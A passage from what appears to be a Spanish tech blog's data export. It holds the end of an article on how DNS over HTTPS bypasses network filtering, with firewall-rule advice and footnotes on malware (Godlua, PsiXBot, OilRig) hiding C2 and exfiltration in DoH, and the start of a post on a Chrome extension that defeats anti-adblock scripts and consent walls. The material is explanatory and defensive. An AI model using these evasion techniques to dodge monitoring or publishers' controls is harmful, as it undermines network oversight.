2025 la Casa Blanca puso su firma en un memorando que tacha las leyes digitales de otros países de «extorsión en el extranjero» a las empresas estadounidenses, señalando al Reino Unido y a la UE y apuntando al representante de comercio hacia los aranceles como respuesta27. Seis meses después, un regulador estadounidense escribió a una docena de tecnológicas estadounidenses advirtiendo de que obedecer la Online Safety Act del Reino Unido o la Digital Services Act de la UE podría infringir la propia ley estadounidense28. Léelo dos veces. El país cuyas empresas rompieron los controles ahora les dice a esas empresas que cumplir con la respuesta de otra democracia a esa rotura es el delito.\nEso lo dice todo. Una ley aprobada por un parlamento elegido en Westminster o Bruselas queda recalificada, desde Washington, como un ataque a América, y a las empresas se les dice que la ignoren. No es que sopesaran el resto del mundo y decidieran en contra. El resto del mundo nunca estuvo en la balanza.\nLa Solución No Es Prohibir El Cifrado Así que la conclusión perezosa es «bloquear DoH», y es errónea, igual que «bloquear ICMP» es erróneo en el cortafuegos. No quieres el DNS sin cifrar de vuelta. Las consultas en texto claro por el puerto 53 son una exposición real, y volver a ellas para recuperar visibilidad es cambiar un agujero por otro.\nLo que en realidad perdiste no fue el cifrado. Fue la elección del resolver. Así que recupérala y deja el cifrado exactamente donde está.\nConserva el cifrado. Recupera la elección del resolver. Cifrado de principio a fin. Una máquina autorizada a hablar DNS con el mundo. Clientes 53, DoT o DoH, solo a tu resolver DDR les dice adónde ir Tu resolver sirve DoH y DoT él mismo lista de bloqueo, feed, registro canario respondido NXDOMAIN Frontera solo esto Upstream o las raíces cliente directo al 53, 853 o a un resolver DoH público: rechazado Nada de esto apaga el cifrado. Lo único que se le quita al cliente es el derecho a elegir el resolver de otro. La disposición corregida. Los clientes pueden usar DNS normal, DNS over TLS o DNS over HTTPS, pero solo hacia tu propio resolver, que ahora sirve los tres. Ese resolver conserva la lista de bloqueo y el registro y es la única máquina autorizada a enviar DNS de cualquier tipo más allá de la frontera. El puerto 53, el puerto 853 y los resolvers DoH públicos conocidos se rechazan desde todo lo demás. Nada de esto apaga el cifrado. Lo único que se le quita al cliente es el derecho a elegir el resolver de otro. La forma es la misma que arregla el DNS en un dominio de Active Directory: el argumento nunca es «apagar la característica», es «decidir a quién se le permite conducirla». Esto es lo que significa por partes.\nSirve tú mismo el DNS cifrado. Monta un resolver que sirva DoH y DoT, no solo el puerto 53, para que un cliente que quiera cifrado lo obtenga de ti. No puedes decirles a los clientes «no DoH» y decirlo en serio sin ofrecerles ningún resolver cifrado propio. Dales uno, y mantén la lista de bloqueo, el feed de amenazas y el registro sobre él como antes.\nAnúncialo, para que los clientes lo encuentren a propósito. Discovery of Designated Resolvers (RFC 9462) permite a un cliente consultar un nombre especial, conocer el resolver cifrado propio de su red, y pasarse a DoH o DoT contra él automáticamente29. Un cliente consciente de DDR cifra entonces su DNS y usa el tuyo: la privacidad que el usuario quería y el control que tú necesitabas, en un solo movimiento.\nResponde al interruptor de apagado del propio navegador. Firefox consulta un dominio canario, use-application-dns.net, antes de activar DoH por defecto: respóndelo con NXDOMAIN o SERVFAIL y Firefox se retira al resolver del sistema30. Dos límites honestos, ambos en palabras de Mozilla. El canario «only applies to users who have DoH enabled as the default option. It does not apply for users who have made the choice to turn on DoH by themselves»30. Así que es una señal de apagado por defecto, no un candado, y no hace nada sobre la app y el malware, que nunca le preguntaron nada al navegador.\nFija la política del navegador donde gestionas la máquina. En un dispositivo que posees, no confíes en el canario. DnsOverHttpsMode de Chrome acepta off, automatic y secure, y la documentación de Google dice que donde no se fija, «for managed devices DNS-over-HTTPS queries will not be sent»31; Chrome desactiva su propio DoH automático en cuanto ve una política empresarial16. Apúntalo a tu resolver, o ponlo en off y deja que DDR lleve el cifrado. Firefox tiene los ajustes equivalentes Enabled, ProviderURL y Locked32. Máquina gestionada, decisión gestionada, y la fila que sí puedes cerrar.\nRechaza las alternativas en la frontera. Las reglas son cortas, y todas dicen lo mismo: DNS de cualquier tipo, hacia el exterior, solo desde tu resolver.\nRegla Desde Efecto Bloquear el puerto 53 saliente Todo salvo tu resolver Ningún DNS normal hacia el exterior Bloquear el puerto 853 saliente Todo salvo tu resolver Ningún DoT hacia un resolver externo Bloquear HTTPS a las direcciones de resolvers DoH públicos Todo salvo tu resolver Corta a los proveedores DoH conocidos Apuntar el upstream de tu resolver a Protective DNS Tu resolver Dominios de malware rechazados antes de la conexión No atraparás cada endpoint DoH por dirección, y no puedes, porque uno nuevo es solo un servidor web y no hay fin de servidores web. Así que asume lo que ese bloqueo cuesta ahora. Para hacer con DoH lo que block 53 outbound hacía gratis, tiras de una lista de direcciones de servidores DoH que otro mantiene escaneando por ti: las listas de bloqueo mantenidas existen porque es la única vía que queda, y una de ellas vuelve a resolver cada dominio DoH público conocido a sus IP actuales cada hora, por tarea programada, y publica los cambios33. Ese es el trato que forzó la evasión.\nBloquear el DNS externo Antes, en el puerto 53 Ahora, DoH en el 443 La regla una línea: block 53 outbound suscribirse a una lista de IP de servidores DoH Completitud completa en el momento en que se guardaba nunca completa; siguen apareciendo endpoints nuevos Mantenimiento ninguno reescaneado cada hora, descargado y reaplicado Qué exige el cortafuegos el cortafuegos más el feed mantenido de otro Un control que era una línea estática es ahora una suscripción a un blanco móvil, persiguiendo servidores web que cualquiera puede levantar más rápido de lo que una lista puede nombrarlos. Protective DNS cierra el otro extremo: apunta el upstream de tu resolver a un servicio de filtrado como el PDNS del NCSC, que «was built to hamper the use of DNS for malware distribution and operation»34, y los dominios malos se rechazan antes de que se establezca la conexión, para cada cliente que pasa por tu resolver, que, una vez puestas estas reglas, son todos.\nPon eso frente a las cinco filas de antes, y cada una tiene un control que la cierra. Esa es la prueba de una solución: no «¿bloqueamos DoH?», sino «por cada cosa que puede elegir un resolver, qué le impide elegir el equivocado».\nQuién elige el resolver Qué lo cierra Sistema operativo DDR lo apunta a tu resolver; mantenlo así Navegador Política en máquinas gestionadas; el canario en el resto Aplicación / biblioteca Bloqueo en la frontera del 53, el 853 y los resolvers DoH públicos Script en una página web El mismo bloqueo en la frontera; Protective DNS en tu upstream Malware El mismo bloqueo en la frontera, más Protective DNS rechazando el dominio Nada de eso apaga un solo bit de cifrado. Los clientes siguen teniendo DoH, solo que lo obtienen de ti, y los que intentan obtenerlo de otro sitio chocan contra un muro. La privacidad queda intacta y el control ha vuelto. Como tal, lo único que alguien perdió es la libertad de elegir un resolver que nunca aprobaste, y esa nunca fue suya en una red de la que eres responsable.\n¿Puedo Preguntar Qué Eligió Ese Resolver? Aquí está la pregunta para ponerle a cualquiera que te diga que la red está bien tal cual.\nCuando una máquina de tu red resuelve un nombre, ¿qué decidió qué resolver respondió? Si la respuesta honesta es «lo que le pasaron al sistema operativo», bien, pero solo si has cerrado las otras cuatro filas de esa tabla, porque si no es «lo que le pasaron al sistema operativo, salvo que el navegador, una app, una página web o algo más feo eligiera otra cosa, en cuyo caso no tengo ni idea y ningún registro». Eso no es una configuración de DNS. Es una esperanza, y con esperanzas no se atrapa nada.\nNo pregunto quién opera el resolver. Pregunto qué, en cada máquina, puede elegirlo, y si podrías nombrar el resolver al que fue cada consulta ayer. En una red donde DoH no está gestionado no puedes, y la brecha es cada app que lleva su propio resolver, cada página que un usuario abre, y cada pieza de malware que leyó la misma investigación que acabo de enlazar. Tres actores de amenaza con nombre construyeron sus canales sobre esta brecha exacta, y uno responde ante un gobierno.\nUn protocolo que le quita a la red la elección del resolver siempre iba a ser un regalo para quienquiera que la red intentara vigilar, y fingir lo contrario porque el marketing decía «privacidad» es como un control que importaba se apaga por defecto y nadie registra el día en que pasó.\nCifra tu DNS. Sirve tú mismo el resolver. Anúncialo, responde al canario, fija la política, cierra la frontera. Conserva el cifrado y conserva la elección. Puedes tener ambos, y si llevas redes para ganarte la vida, tener ambos es el trabajo.\nLa Privacidad Era La Palabra En La Caja Así que hay que reconocerlo. Gracias a ICANN, el organismo estadounidense que sostiene la raíz y coescribió esto desde dentro, por ejecutar el manual de la tecnología estadounidense una vez más: coge un problema que ya estaba resuelto, envuelve la solución en una palabra virtuosa, y centraliza el resultado en un puñado de empresas estadounidenses que acaban con el texto claro.\nY siempre es EE. UU. El organismo que sostiene la raíz, el resolver que dos navegadores traen ahora por defecto, la empresa de publicidad que opera el mayor público, el país donde aterriza el texto claro: estadounidense, siempre. Es un patrón, no una racha de mala suerte.\nLa privacidad era la tapadera. El DNS estaba cifrado, era privado y aún gobernable en el puerto 853 en 2016, y todo el que importaba lo sabía. Lo que el establishment distribuyó encima fue un protocolo construido para cegar a la única persona responsable de la red, una carrera armamentística permanente de listas de bloqueo reescaneadas cada hora, y órdenes judiciales que se estrellan contra el navegador.\nSi fue ineptitud o codicia lo dejo a tu criterio, aunque el historial que enlacé apunta en una dirección. En cualquier caso pudo más que el sentido común.\nY decisiones como esta son por lo que las llamadas a quitarle la raíz a ICANN siguen volviendo, y por lo que calan: para que la comunidad internacional tenga voz, en vez de que la institución de un solo país decida el DNS para todos los demás y lo llame custodia.\nTodo esto lo hacíamos con una línea.\nRFC 8484 — DNS Queries over HTTPS (DoH), octubre de 2018. La introducción declara el objetivo de «allowing web applications to access DNS information via existing browser APIs in a safe way consistent with Cross Origin Resource Sharing (CORS)».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n360 Netlab — An Analysis of Godlua Backdoor, 1 de julio de 2019. Recoge que la muestra «uses DNS over HTTPS to get the C2 name to ensure secure communication between the bots, the Web Server and the C2» — el primer malware ampliamente reportado que abusa de DoH.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nProofpoint — PsiXBot Now Using Google DNS over HTTPS, 6 de septiembre de 2019. Reporta que el malware resuelve sus dominios de C2 fijados a través del servicio DoH de Google, y advierte de que «should be a warning shot for the cybersecurity community as there are no simple solutions to help identify an infected host or the process of receiving instructions».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nKaspersky Securelist — APT trends report Q2 2020. Sobre OilRig (APT34): la herramienta DNSExfiltrator «allows the threat actor to use the DNS over HTTPS (DoH) protocol [\u0026hellip;] instead of plain text requests to port 53, they would use port 443 in encrypted packets [\u0026hellip;] which allows DoH queries to Google and Cloudflare services».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nThe Hacker News — ChamelDoH: New Linux Backdoor Utilizing DNS-over-HTTPS Tunneling for Covert CnC, 16 de junio de 2023, sobre el hallazgo de Stairwell (Daniel Mayer). El implante para Linux en C++ de ChamelGang es «a tool for communicating via DNS-over-HTTPS (DoH) tunneling», que envía consultas TXT de DNS a servidores de nombres fraudulentos a través de proveedores DoH legítimos de modo que «both detection and prevention become difficult».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCISA — Malware Analysis Report: BRICKSTORM Backdoor, AR25-338a, 4 de diciembre de 2025. «For C2, BRICKSTORM uses multiple layers of encryption (HTTPS, WebSockets, nested Transport Layer Security [TLS]) to hide its communications with the cyber actors\u0026rsquo; C2 server. It also uses DNS-over-HTTPS (DoH)».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco Talos — New Dohdoor malware campaign, 26 de febrero de 2026. La puerta trasera, atribuida al actor UAT-10027, «securely sends encrypted DNS requests to Cloudflare\u0026rsquo;s DNS server over HTTPS port 443» para resolver su servidor de mando, y ataca a la educación y la sanidad de EE. UU. mediante phishing.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 8484, sección 10, Operational Considerations: «Filtering or inspection systems that rely on unsecured transport of DNS will not function in a DNS over HTTPS environment due to the confidentiality and integrity protection provided by TLS». El efecto sobre el filtrado de red se declara en el propio estándar.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 8484, sección 9, Security Considerations: un servidor DoH «can give a client invalid data in response to a DNS query», y aunque el estándar prohíbe respuestas de servidores no configurados, «this prohibition does not guarantee protection against invalid data, but it does reduce the risk». DoH asegura el transporte, no la autenticidad del registro; eso es cosa de DNSSEC.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenDNS — un resolver DNS recursivo fundado por David Ulevitch en 2005/2006, que ofrece filtrado de seguridad (bloqueo de phishing y malware) y filtrado de contenido en el resolver para usuarios domésticos y empresariales; adquirido por Cisco en 2015 y hoy parte de Cisco Umbrella. La seguridad DNS a nivel de resolver es muy anterior a DoH.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUS-CERT / CISA — HTTPS Interception Weakens TLS Security, alerta TA17-075A, 16 de marzo de 2017. Advierte de que interceptar HTTPS presentando un certificado de confianza local y descifrar el tráfico debilita la seguridad, porque muchos productos de interceptación no verifican bien los certificados y rebajan las protecciones de la conexión.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 7858 — Specification for DNS over Transport Layer Security (TLS), mayo de 2016. El resumen: «This document describes the use of Transport Layer Security (TLS) to provide privacy for DNS. Encryption provided by TLS eliminates opportunities for eavesdropping and on-path tampering with DNS queries in the network». Coescrito por P. Hoffman (ICANN), que también coescribió RFC 8484. DoT usa el puerto dedicado 853.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPaul Hoffman (engineer) — «the author or co-author of over 80 Requests for Comments (RFCs)» y «currently a technologist at ICANN»; su perfil en el datatracker de la IETF recoge el historial, incluidos RFC 7858 (DoT), RFC 8484 (DoH) y RFC 8499 (terminología DNS).\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nBert Hubert (PowerDNS) — Centralised DoH is bad for Privacy, in 2019 and beyond, RIPE Labs. El DNS «typically provided by the operator of a network»; el DoH centralizado «by default» es «a net-negative for privacy for everyone», porque el tercero «gets a complete log per device of all DNS queries, in a way that can even be tracked across IP addresses».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nGoogle — DNS-over-HTTPS (DoH) — JSON API. Google Public DNS, uno de los mayores resolvers públicos, opera un endpoint DoH (dns.google) junto al propio soporte DoH de Chrome.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nChromium Blog — A safer and more private browsing experience with Secure DNS, mayo de 2020. «If you are an IT administrator, Chrome will disable Secure DNS if it detects a managed environment via the presence of one or more enterprise policies».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTechCrunch — Internet group brands Mozilla \u0026lsquo;internet villain\u0026rsquo; for supporting DNS privacy feature, 5 de julio de 2019 (instantánea de Wayback). La nominación de ISPA decía que DoH «bypass UK filtering obligations and parental controls, undermining internet safety standards in the UK»; la nominación y la categoría de Internet Villain se retiraron tras las críticas.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nWeb blocking in the United Kingdom — la lista de imágenes de abuso infantil de la Internet Watch Foundation y las órdenes de bloqueo por derechos de autor bajo el artículo 97A de la Copyright, Designs and Patents Act 1988 las aplican los ISP; «The technical measures used to block sites include DNS hijacking, DNS blocking, IP address blocking, and Deep packet inspection».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nGobierno del Reino Unido — Online Safety Act: explainer. «The Online Safety Act 2023 [\u0026hellip;] puts a range of new duties on social media companies and search services», con las «strongest protections [\u0026hellip;] designed for children», incluidos requisitos para impedir que menores accedan a contenido dañino e inapropiado para su edad; aplicada por Ofcom.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCopyright Act 1968 (Australia), section 115A, «Injunctions relating to online locations outside Australia» — el Tribunal Federal puede ordenar a un proveedor de servicios de transporte «take reasonable steps to disable access to the online location», la forma australiana del bloqueo de sitios a nivel de ISP por DNS e IP.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEDRi — Portugal: \u0026ldquo;Voluntary\u0026rdquo; agreement against copyright infringements. Bajo un memorando de entendimiento de 2015, los titulares de derechos avisan a MAPINET, que lo traslada al regulador IGAC, y «IGAC then contacts Internet Service Providers (ISPs) to restrict access to the websites through \u0026lsquo;Domain Name System (DNS) blocking\u0026rsquo;» en un plazo de 15 días hábiles, sin orden judicial.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTorrentFreak — Italy Fines Cloudflare €14 Million for Refusing to Filter Pirate Sites on Public 1.1.1.1 DNS. Bajo el Piracy Shield de Italia, AGCOM (orden 49/25/CONS) ordenó a los proveedores de DNS, incluido el resolver público de Cloudflare, bloquear; Cloudflare, calificándolo de «unreasonable and disproportionate», se negó y fue multada con €14,247,698, cantidad que recurre.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTorrentFreak — DNS Piracy Blocking Orders: Google, Cloudflare, and OpenDNS Respond Differently, 11 de mayo de 2025. Bajo los requerimientos de Canal+ por streaming deportivo en Francia y Bélgica se ordenó bloquear a los resolvers públicos: Cloudflare devuelve un HTTP 451, Google rechaza la consulta en silencio, y OpenDNS «pulled the plug» en ambos países antes que cumplir.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTorrentFreak — Cloudflare Applauds Court for Rejecting DNS Piracy Blocking Order. En Universal Music v Cloudflare (el caso DDL-Music) un tribunal de primera instancia había ordenado a Cloudflare bloquear en su resolver 1.1.1.1; el Tribunal Regional Superior de Colonia se negó a extender el deber al resolver, que «contributes to the connection of internet domains in a purely passive, automatic and neutral manner».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTorrentFreak — Dutch ISPs Must Block Pirate Bay Proxies and Mirrors Again, Court Rules, 15 de octubre de 2020. BREIN tiene una orden de bloqueo «dinámica» contra Ziggo, KPN y otros; el tribunal trata el bloqueo de DNS como una medida «clear and verifiable», y los nuevos dominios y proxies se añaden a la lista de bloqueo del ISP a petición.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nComplete Music Update — OpenDNS pulls plug on France and Portugal after web-blocking injunctions. OpenDNS, de Cisco: «Due to a court order in France issued under the French Sport code and a court order in Portugal issued under the Portuguese Copyright Code, the OpenDNS service is not currently available to users in France [\u0026hellip;] and in Portugal.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nThe American Presidency Project — White House Fact Sheet: Directive to Prevent the Unfair Exploitation of American Innovation, 21 de febrero de 2025. El memorando ordena al representante de comercio de EE. UU. considerar aranceles en respuesta a los impuestos y regulaciones sobre servicios digitales de otros países, incluidos los de la UE y el Reino Unido, presentándolos como gobiernos extranjeros apropiándose de «America\u0026rsquo;s tax base».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nA\u0026amp;O Shearman — FTC chairman warns major tech companies of censorship in EU DSA and UK Online Safety Act, sobre cartas del 21 de agosto de 2025: «Compliance with the requirements of non-US laws, such as the requirements in the EU Digital Services Act (DSA) and UK Online Safety Act, may result in companies censoring content», lo que el regulador advierte que podría entrar en conflicto con la ley estadounidense.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 9462 — Discovery of Designated Resolvers (DDR), noviembre de 2023. Define cómo un cliente descubre «a resolver\u0026rsquo;s encrypted DNS configuration» y se pasa a él, consultando _dns.resolver.arpa para el Designated Resolver de la red.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMozilla — Canary domain — use-application-dns.net. «The canary domain only applies to users who have DoH enabled as the default option. It does not apply for users who have made the choice to turn on DoH by themselves». Una respuesta distinta de NOERROR con un registro A/AAAA — como NXDOMAIN o SERVFAIL — le indica a Firefox que desactive el DoH de aplicación.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nGoogle — DnsOverHttpsMode policy. Valores off, automatic y secure; «If this policy is unset, for managed devices DNS-over-HTTPS queries will not be sent».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMozilla — Policy templates: DNSOverHTTPS. Enabled activa o desactiva DoH, ProviderURL fija el resolver, Locked «prevents the user from changing DNS over HTTPS preferences», y ExcludedDomains y Fallback ajustan el resto.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\ndibdot/DoH-IP-blocklists — una lista mantenida de los nombres de dominio y las direcciones IPv4/IPv6 resueltas de servidores DoH públicos, para bloqueo en cortafuegos; el script de búsqueda «runs automatically every hour via GitHub actions» y actualiza las listas de direcciones cuando cambian. jameshas/Public-DoH-Lists es un segundo equivalente autogenerado. Que estas tengan que existir, y reescanearse continuamente, es el argumento.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNCSC — Protective Domain Name Service (PDNS). «PDNS was built to hamper the use of DNS for malware distribution and operation [\u0026hellip;] a recursive resolver which prevents access to domains known to be malicious».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/es/dns/dns-over-https-walks-past-your-controls/","summary":"DNS over HTTPS cifra tus consultas, lo cual está bien, y las envía a un resolver que elige el cliente en el puerto 443, que es el problema. Tu propio resolver nunca ve la consulta, así que la lista de bloqueo que la habría rechazado, el feed de amenazas que habría activado y la línea de registro que habría escrito desaparecen. Este artículo recorre el mecanismo: por qué una conexión web cifrada entre miles es invisible en la frontera, quién en una máquina puede elegir un resolver que nunca escogiste (el SO, el navegador, cualquier app, cualquier script en cualquier página web y el malware), y los casos documentados, desde el propio JavaScript de una página consultando un endpoint DoH público que permite peticiones de origen cruzado, hasta Godlua y PsiXBot escondiendo su canal de mando dentro de DoH, hasta el APT OilRig exfiltrando datos por él. Luego el argumento de que la historia de la privacidad es una tapadera: DNS over TLS ya cifraba el DNS en 2016, en un puerto que el operador de red aún puede gobernar, así que lo único que DoH añade es derrotar al administrador, y por eso quienes ganaron son los fabricantes de navegadores que lo escribieron y lo distribuyeron, y la empresa de publicidad que opera el mayor resolver DoH público. Luego la solución, que no es prohibir el cifrado. Monta tu propio resolver DoH y DoT, anúncialo con Discovery of Designated Resolvers, rechaza el puerto 53, el puerto 853 y los resolvers DoH públicos conocidos en la frontera, y responde al canario de Firefox para que el navegador se retire. Conserva el cifrado. Recupera quién elige el resolver. Cierra con las consecuencias: la misma aplicación basada en DNS se repite por toda Europa y en Australia, y tribunales de Italia, Francia, Bélgica y Alemania ordenan ahora a los propios resolvers públicos que bloqueen, con Cloudflare multada y recurriendo, Google negándose en silencio y OpenDNS apagándose para países enteros. El patrón de fondo es un diseño estadounidense impuesto al mundo, y un gobierno estadounidense que tacha las leyes de otros países de extorsión a las empresas estadounidenses y les advierte que no cumplan.","title":"DNS Over HTTPS Se Salta Tus Controles Sin Despeinarse"},{"content":"Pinchas un enlace a un periódico local, y carga el titular, luego la foto, luego los tres primeros párrafos, y ya has empezado a leer antes de que pase nada más. Entonces la página se queda en blanco. O se convierte en un montón de enlaces sin estilo con el logo estirado a lo ancho de toda la pantalla. O sube un recuadro que te pide que aceptes el rastreo o pagues £2,99 al mes, sin tercer botón.\nEl artículo estaba en tu máquina. El servidor del editor ya lo había enviado entero, texto y hojas de estilo, y tu navegador ya lo había dibujado. Lo que se lo llevó fue código que el editor decidió ejecutar después, en tu ordenador, comprado a un proveedor comercial cuyo producto consiste en quitarte lo que se acaba de entregar.\nEn casa tengo un Pi-hole1, que bloquea los hosts de publicidad y rastreo para todos los dispositivos de la red. En una lista creciente de sitios de noticias británicos, eso bastaba para que la página quedara destruida. Así que el 22 de septiembre de 2026 construí una extensión de Chrome para impedirlo, llamada Keep The Page. El código está en GitHub en damo2929/browserplugin, con licencia MIT, y esto es lo que hace, lo que encontré dentro de esas páginas mientras la construía y los arreglos que lo empeoraron antes de que apareciera el bueno.\nNo es un saltador de muros de pago. Si el servidor nunca envió el artículo, nada de esto lo va a hacer aparecer. The Times siguió cerrado, y así debe ser. Lo que conserva es lo que ya te habían enviado.\nEl artículo llega, y luego desaparece Vistos desde fuera, todos funcionan igual. El HTML llega completo, y luego un script, normalmente cargado desde un host de un proveedor y no del periódico, decide que no mereces verlo, y lo quita.\nQué quita, y cómo, depende del proveedor que compró el editor. Estos son los cuatro con los que me encontré, cada uno leído de una página real durante la construcción:\nEditor Qué llega Qué se hace luego la página a sí misma Newsquest (269 cabeceras)2 el artículo completo levanta un muro, ejecuta una carga eval, abre un diálogo confirm() notebookcheck.net el artículo completo borra \u0026lt;body\u0026gt; a los 7 segundos más o menos, luego diálogos, luego un bucle de recarga National World (The Scotsman, Yorkshire Post)3 el artículo más unos 68KB de su propio CSS borra cada \u0026lt;link\u0026gt; y \u0026lt;style\u0026gt; cada 100ms, para siempre Reach plc (Mirror, Daily Record, Manchester Evening News, Liverpool Echo y otros)4 el artículo completo lo tapa con «acepta el rastreo o paga £2,99/mes» El 269 no sale de una nota de prensa, que habla de «más de 200 marcas». Es el número de dominios en los propios certificados TLS de Newsquest, la lista que la extensión necesitaba para saber dónde ejecutarse.\nEl caso de National World es el que más debería preocupar a los editores, porque rompe la página por razones que no tienen nada que ver con la publicidad. El decapador de hojas de estilo tiene un compañero que recupera el CSS desde el host del proveedor. Mi Pi-hole bloquea ese host. Así que el decapado se ejecutó, la restauración nunca llegó, y la maquetación del propio periódico quedó dependiendo para siempre de que un proveedor de publicidad fuera alcanzable. Eso no es un muro. Es un editor que entrega el aspecto de su propia web a un tercero sin darse cuenta.\n¿Puedo preguntar por qué la hoja de estilo de un periódico tiene que esperar al servidor de una empresa de publicidad antes de poder quedarse en la página? No hay ninguna razón que sirva al lector. Ninguna.\nPor qué lo llamo malware Uso la palabra a propósito, como descripción de lo que hace el código, y no como conclusión jurídica sobre nadie. Las cargas anti-adblock cumplen el sentido corriente en cuatro puntos, y cada uno se observó directamente:\nCriterio Lo que vi Se ejecuta sin consentimiento, contra tu interés nadie lo pidió, y su trabajo es quitarte contenido que ya tienes Destruye datos que ya te han entregado el artículo y su CSS llegan intactos, luego código dentro de la página los borra Ofuscado para resistir la lectura tablas de cadenas permutadas como o[293 * (r + 450) % e], ejecutadas mediante eval Esquiva el bloqueo y castiga la interferencia CNAME cloaking para esquivar las listas de bloqueo DNS, comprobaciones antimanipulación que escalan a un diálogo o un bucle de recarga La ofuscación no es minificación. El código minificado es pequeño. Esto es código dispuesto para que no puedas buscar con grep lo que hace, y la carga pasa luego por eval para que nada en el disco coincida con lo que se ejecuta.\nEl cloaking es una técnica conocida con su propia literatura de investigación5. El cargador se pide desde lo que parece un subdominio del periódico, y ese nombre apunta al proveedor:\na02342.\u0026lt;publisher-domain\u0026gt; -\u0026gt; cdn-52-x.privacy-mgmt.com (Sourcepoint) fb.html-load.com -\u0026gt; adshield-fallback-dev-wskxz.b-cdn.net El subdominio es aleatorio para cada cabecera. Una lista de bloqueo que nombra hosts no puede seguirle el ritmo, y de eso se trata.\nY el código trata cualquier interferencia como prueba de culpa. Los mensajes de error descodificados en la carga que los mantenedores de listas de filtros atribuyen a Ad-Shield6 son literalmente Vital API blocked y Vital API blocked (eval). El cargador de Sourcepoint escribe un atributo, lo vuelve a leer al instante y lanza un error si el valor ha cambiado:\nz.call(O,\u0026#39;src\u0026#39;,G), O[x](\u0026#39;src\u0026#39;) !== G \u0026amp;\u0026amp; throw E … catch (W) { try { await l(W) } catch (x) { o(W) } } // o() raises the dialog Sourcepoint ha vendido esto abiertamente. Su propia documentación decía «on average about 30% of messaged users will turn off their adblockers»7. Así que no describo un script rebelde que alguien coló. Es un producto, comprado y desplegado a propósito por el editor.\nLos muros consent-or-pay son otra categoría, y a esos no los llamo malware. No destruyen lo entregado ni se esconden de las listas de bloqueo. Coaccionan de otra manera, y de eso trata la siguiente sección.\nAcepta 1 467 socios o paga £2,99 El muro en las cabeceras de Reach es Quantcast Choice, ahora gestionado por InMobi8 y servido desde cmp.inmobi.com. Da dos opciones. Aceptar, o pagar £2,99 al mes. No hay un «no» gratuito.\nAceptar comparte tus datos con 1 467 socios listados y escribe una cookie euconsent-v2 que dura 13 meses. Nadie lee una lista de 1 467 empresas, nadie podría sopesar qué haría cada una con los datos aunque la leyera, y la cifra por sí sola te dice qué clase de consentimiento se está pidiendo.\nEl RGPD británico dice que el consentimiento tiene que darse libremente, y que al juzgarlo se mira si el servicio se ha condicionado a un consentimiento para un tratamiento que no necesita9. El ICO ha publicado orientaciones según las cuales el consent or pay puede ser lícito10, orientaciones que ahora dice que están en revisión, y el Comité Europeo de Protección de Datos ha dicho que para las grandes plataformas que solo ofrecen esas dos opciones, en la mayoría de los casos no lo será11. No voy a fingir que el regulador lo ha prohibido. No lo ha hecho.\nAsí que aquí es donde llego, sin rodeos. Elegí quitar el muro y rechazar el consentimiento. Eso significa que leo el artículo por la rama gratuita, sin pagar y sin entregar mis datos a 1 467 empresas. Es una decisión. La extensión lo dice en su propia página de ajustes, y no la disfrazo de algo neutral. Un consentimiento que no puedes rechazar es un precio, y no voy a pagar un precio disfrazado de pregunta.\nQuitar el recuadro es el tercio fácil. Los otros dos tercios están en Responder bien a la pregunta del consentimiento, porque un banner que borras sin responder vuelve cada vez.\nUn día, ocho commits Todo se construyó en un día. Unas horas husmeando en páginas antes de hacer ningún commit, y luego ocho commits entre las 20:32 y las 22:50. Lo construí con Claude Code, y buena parte del trabajo duro de leer script inline ofuscado línea a línea lo hizo el agente mientras yo miraba lo que las páginas hacían en pantalla. Ese reparto funcionó bien, y dónde falló está más abajo, porque falló de una manera que conviene conocer.\nHora Commit 20:32 primer commit: Newsquest, notebookcheck, National World, Reach, Page Six 20:46 el proveedor detrás de cada mecanismo, anotado en el README 20:56 50 enlaces de la portada de Google News, como muestra no elegida 21:02 responder a la API de consentimiento con todas las finalidades denegadas 21:11 enlaces sociales desactivados 22:50 protecciones desactivables, MSN y Bing, rechazo del consentimiento con un clic, 77 tests Es una extensión Manifest V3 con dos permisos, declarativeNetRequest y storage, sin permisos de host y sin acceso propio a la red, así que no 